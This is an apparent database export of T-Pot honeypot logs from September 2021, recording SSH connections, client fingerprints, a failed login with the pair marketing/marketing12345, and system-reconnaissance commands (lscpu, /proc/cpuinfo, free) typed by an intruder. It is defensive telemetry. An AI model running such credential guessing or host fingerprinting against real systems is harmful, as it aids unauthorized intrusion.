34291	189.50.42.214	109.199.241.180	Suricata	2021-09-20 15:00:07.230815+03	2021-09-20 15:15:01.709694+03	{"_id": "4gYTA3wBvYTbRNuE5FQD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "flow_id": 706146172573133, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58421, "dest_port": 22, "timestamp": "2021-09-20T12:00:07.230815Z", "@timestamp": "2021-09-20T12:00:07.230Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	BR
34292	189.50.42.214	109.199.241.180	Fatt	2021-09-20 15:00:07.231682+03	2021-09-20 15:15:01.710694+03	{"_id": "5wYTA3wBvYTbRNuE5VQL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58421, "dest_port": 22, "timestamp": "2021-09-20T12:00:07.231682", "@timestamp": "2021-09-20T12:00:07.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	BR
34293	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:00:08.26265+03	2021-09-20 15:15:01.712694+03	{"_id": "6AYTA3wBvYTbRNuE5lTE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.login.failed", "message": "login attempt [marketing/marketing12345] failed", "session": "f7461e09f685", "@version": "1", "password": "marketing12345", "username": "marketing", "timestamp": "2021-09-20T12:00:08.262650Z", "@timestamp": "2021-09-20T12:00:08.262Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	BR
34294	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:10.022976+03	2021-09-20 15:15:01.713693+03	{"_id": "6gYTA3wBvYTbRNuE7lSV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:10.022976Z", "@timestamp": "2021-09-20T12:00:10.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34295	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:18.203115+03	2021-09-20 15:15:01.714695+03	{"_id": "EgYUA3wBvYTbRNuEDVXa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:18.203115Z", "@timestamp": "2021-09-20T12:00:18.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34296	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:21.485166+03	2021-09-20 15:15:01.715694+03	{"_id": "LQYUA3wBvYTbRNuEHVV8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:21.485166Z", "@timestamp": "2021-09-20T12:00:21.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34297	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:22.02829+03	2021-09-20 15:15:01.716694+03	{"_id": "MAYUA3wBvYTbRNuEHVV8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.70.175.230", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5432462692260742, "duplicate": true, "timestamp": "2021-09-20T12:00:22.028290Z", "@timestamp": "2021-09-20T12:00:22.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34298	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:22.048039+03	2021-09-20 15:15:01.718694+03	{"_id": "LgYUA3wBvYTbRNuEHVV8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f9096abafc92", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:00:22.048039Z", "@timestamp": "2021-09-20T12:00:22.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	HK
34299	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:21.485694+03	2021-09-20 15:15:01.719694+03	{"_id": "MQYUA3wBvYTbRNuEHVV9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:21.485694Z", "@timestamp": "2021-09-20T12:00:21.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34300	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:21.486186+03	2021-09-20 15:15:01.721694+03	{"_id": "MgYUA3wBvYTbRNuEHVV9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:21.486186Z", "@timestamp": "2021-09-20T12:00:21.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34301	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:22.264454+03	2021-09-20 15:15:01.722694+03	{"_id": "MwYUA3wBvYTbRNuEHVV9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:22.264454Z", "@timestamp": "2021-09-20T12:00:22.264Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	HK
34302	150.109.115.128	109.199.241.180	Suricata	2021-09-20 15:00:22.259056+03	2021-09-20 15:15:01.723694+03	{"_id": "NAYUA3wBvYTbRNuEHlWj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 1282275234135242, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59262, "dest_port": 22, "timestamp": "2021-09-20T12:00:22.259056Z", "@timestamp": "2021-09-20T12:00:22.259Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	HK
34303	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:17.303293+03	2021-09-20 15:15:01.725694+03	{"_id": "FAYUA3wBvYTbRNuEDVXa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:17.303293Z", "@timestamp": "2021-09-20T12:00:17.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34304	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:18.202577+03	2021-09-20 15:15:01.726706+03	{"_id": "FgYUA3wBvYTbRNuEDVXa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:18.202577Z", "@timestamp": "2021-09-20T12:00:18.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34305	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:18.744621+03	2021-09-20 15:15:01.727694+03	{"_id": "FwYUA3wBvYTbRNuEEVXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.70.175.230", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.542165994644165, "duplicate": true, "timestamp": "2021-09-20T12:00:18.744621Z", "@timestamp": "2021-09-20T12:00:18.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34306	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:19.118882+03	2021-09-20 15:15:01.728711+03	{"_id": "GAYUA3wBvYTbRNuEEVXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:19.118882Z", "@timestamp": "2021-09-20T12:00:19.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34307	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:19.11943+03	2021-09-20 15:15:01.729701+03	{"_id": "GQYUA3wBvYTbRNuEEVXB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:19.119430Z", "@timestamp": "2021-09-20T12:00:19.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34308	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:20.042692+03	2021-09-20 15:15:01.730701+03	{"_id": "GwYUA3wBvYTbRNuEFVWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:20.042692Z", "@timestamp": "2021-09-20T12:00:20.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34309	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:20.043222+03	2021-09-20 15:15:01.732701+03	{"_id": "HAYUA3wBvYTbRNuEFVWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:20.043222Z", "@timestamp": "2021-09-20T12:00:20.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34310	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:19.662838+03	2021-09-20 15:15:01.7337+03	{"_id": "GgYUA3wBvYTbRNuEFVWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.70.175.230", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5440804958343506, "duplicate": true, "timestamp": "2021-09-20T12:00:19.662838Z", "@timestamp": "2021-09-20T12:00:19.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34311	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:00:19.974873+03	2021-09-20 15:15:01.734701+03	{"_id": "HQYUA3wBvYTbRNuEFlXR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8848, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2248101709733913, "@version": "1", "in_iface": "enp5s0", "src_port": 54527, "dest_port": 53, "timestamp": "2021-09-20T12:00:19.974873Z", "@timestamp": "2021-09-20T12:00:19.974Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
